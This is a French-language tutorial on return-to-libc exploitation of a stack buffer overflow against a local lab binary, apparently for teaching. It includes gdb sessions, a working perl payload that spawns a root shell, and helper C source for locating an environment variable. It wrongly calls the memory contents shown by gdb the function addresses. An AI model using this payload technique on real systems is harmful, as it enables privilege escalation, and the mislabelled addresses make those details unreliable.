Sommaire

Le programme que nous utiliserons est vulnérable à un bof ; il déborde à partir de l'octet 76. Je vous fait grace de la manière à utiliser pour trouver cette information,référez-vous à l'article sur les Buffer Overflows.

1. La libc

C'est l'objet de cet article, donc il vaut mieux bien cerner déja ce qu'est la libc avant de voir l'exploitation. La libc est une librairie de Linux étant appelé pour l'utilisation de n'importe quel programme (sauf ceux en assembleur bien sur). Elle regroupe la plus part des fonctions les plus courament utilisées (printf, par exemple). Le but sera d'utiliser ses fonctions.

Il existe plusieurs versions de libc, pour le voir un simple listing de répertoire suffit :

```
heurs@GITS:~$ ls -l /lib/
total 3970
[...]
lrwxrwxrwx 1 root root 13 2012-06-16 18:13 libc.so.6 -> libc-2.3.2.so
[...]
```

On voit trés nettement que libc.so.6 (les .so sont des fichiers contennent des fonctions pouvant etre linkées) est un lien symbolique, donc un ficher pointant vers une version valide de libc (ou tout du moin la dernière).

2. La théorie

Le but va etre (comme la pile ne peux etre executée) de sauter directement sur la fonction adéquate. Pour se fair nous devrons donc écraser EIP par l'adresse de la fonction à appeler et déposer les bons arguments sur la pile.

La pile devra donc ressembler à ca (aprés le buffer overflow) :

```
[Adresses bases de la pile] par exemple 0xbffffc10
//////////////////////////
[ ]
[ ]
[ Buffer ]
[ ]
[ ]
[ addr de la fonction ] avant => [ eip ]
[ argument ]
[ argument ]
[ argument ]
//////////////////////////
[Adresses hautes de la pile] par exemple 0xbffffa0
```

Nous appelerons tout d'abord la fonction system().

Cette fonction prend un seul argument, l'adresse de la chaine à executer. Nous placerons donc cette adresse juste derrière eip.

Là un premier problème se pose : où trouver la chaine de caractères à executer... Dans la pile, aprés nos arguments, me direz vous (si on la place au début de notre buffer il n'y aura pas de byte terminal). Le seul soucis est que la pile est relativement instable, et des adresses valables dans certaines conditions ne le sont pas forcément dans d'autres (suivant la taille du buffer). J'ai donc opté pour placer cette chaîne dans une variable d'environnement, comme ca elle sera parmi les premières valeurs inscrites dans la pile et cela facilitera grandement nos recherches.

3. La pratique

Comme vous le savez, il existe un monde entre la théorie et la pratique, nous allons alors commencer par le plus simple : récupérer les adresses des fonctions.

```
heurs@GITS:/FaillesAppli$ gdb -q ./bof
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x80483fa
(gdb) r

Starting program: /FaillesAppli/bof

Breakpoint 1, 0x080483fa in main ()
(gdb) x system
0x4005b790 : 0x83e58955
(gdb) x exit
0x40046a80 : 0x57e58955
(gdb)
```

Les adresse 0x83e58955 et 0x57e58955 sont les adresses des fonctions dans libc. J'ai aussi pris exit, elle nous servira tout a l'heure pour quitter proprement.

Ici nous avons donc placé un breakpoint sur main et lancé le programme, grace à cette action les adresses des fonctions ont été chargées, et nous les avons récupérées juste derrière.

Voici la nouvelle composition de la pile que nous aurons :

```
[Adresses bases de la pile] par exemple 0xbffffc10
//////////////////////////
[ ]
[ ]
[ Buffeur ]
[ ]
[ ]
[ 0x4005b790 ] avant => [ eip ]
[ 0x40046a80 ]
[ addr de la chaine ]
[ ... ]
//////////////////////////
[Adresses hautes de la pile] par exemple 0xbffffa0
```

Si on se met à la place du programme, cela nous donne la chose suivante. On dépile 0x4005b790, la fonction system croit qu'elle a été appelée par un call et donc croit qu'eip a été empilé. System va donc dépiler la deuxième adresse pointé par esp (soit l'argument). Une fois la fonction terminée celle-ci croit toujours que esp pointe sur une adresse déposée par un call, et donc vas dépiler cette adresse par un "ret". C'est ainsi que la fonction exit sera appelée et donc terminera le programme correctement.

Le but va donc etre maintenant de déposer /bin/sh et de trouver son adresse. Pour exporter la variable d'environement, c'est relativement simple :

```
heurs@GITS:~$ export commande=/bin/sh

heurs@GITS:~$
```

Maintenant /bin/sh sera empilé dès l'execution du programme :) Il ne reste plus qu'a trouver son adresse...

Je vous ai facilité la tache pour ca, le programme "src_bin-sh" doit normalement vous indiquer l'adresse de votre variable. Testons ceci :

```
heurs@GITS:/FaillesAppli$ ~/src_bin-sh
Utilisation : /home/heurs/src_bin-sh destination_du_prog nom_de_la_variable
heurs@GITS:/FaillesAppli$ ~/src_bin-sh ./bof commande
................................................................................
..............
................................................................................
..............
/bin/sh trouver ====> 0xbfffff51 Attention il est probable de la trouver aussi
a 0xbfffff75
heurs@GITS:/FaillesAppli$
```

Nous avons toutes les informations pour mener a bien notre exploitation, alors c'est parti :

```
heurs@GITS:/FaillesAppli$ ./bof `perl -e 'print "a" x 76 .
"\x90\xb7\x05\x40" . "\x80\x6a\x04
\x40" . "\x75\xff\xff\xbf"'`
sh-2.05b#
```

C'est pas beau ca ?

Voici la source de src_bin-sh.c (ca peut vous etre utile) :

```
int main(int argc, char * argv[], char * env[]){
char *p;
int i,addr_b,dif;
if (argc<3) {
printf("Utilisation : %s destination_du_prog nom_de_la_variable\n", argv[0]);
exit(0);
}
for (i=0; env[i]!=0; i++)
printf(".");

addr_b = 0xbfffffff - strlen(argv[1]) - 2;
dif = (int) addr_b - (int) (env[i-1] + strlen(argv[2]) + 1);
for (p=0xbfffffff; (*p!='/') || (*(p+1)!='b') || (*(p+2)!='i') || (*(p+3)!
='n')
|| (*(p+4)!='/') || (*(p+5)!='s') || (*(p+6)!='h') || (*(p+7)!=0); p--)
printf(".");
printf("\n%c%c%c%c%c%c%c trouver ====> 0x%x Attention il est probable de la
trouver aussi a 0x%x\n",*p,*(p+1),*(p+2),*(p+3),*(p+4),*(p+5),*(p+6),p,p+dif);
return 0;
}
```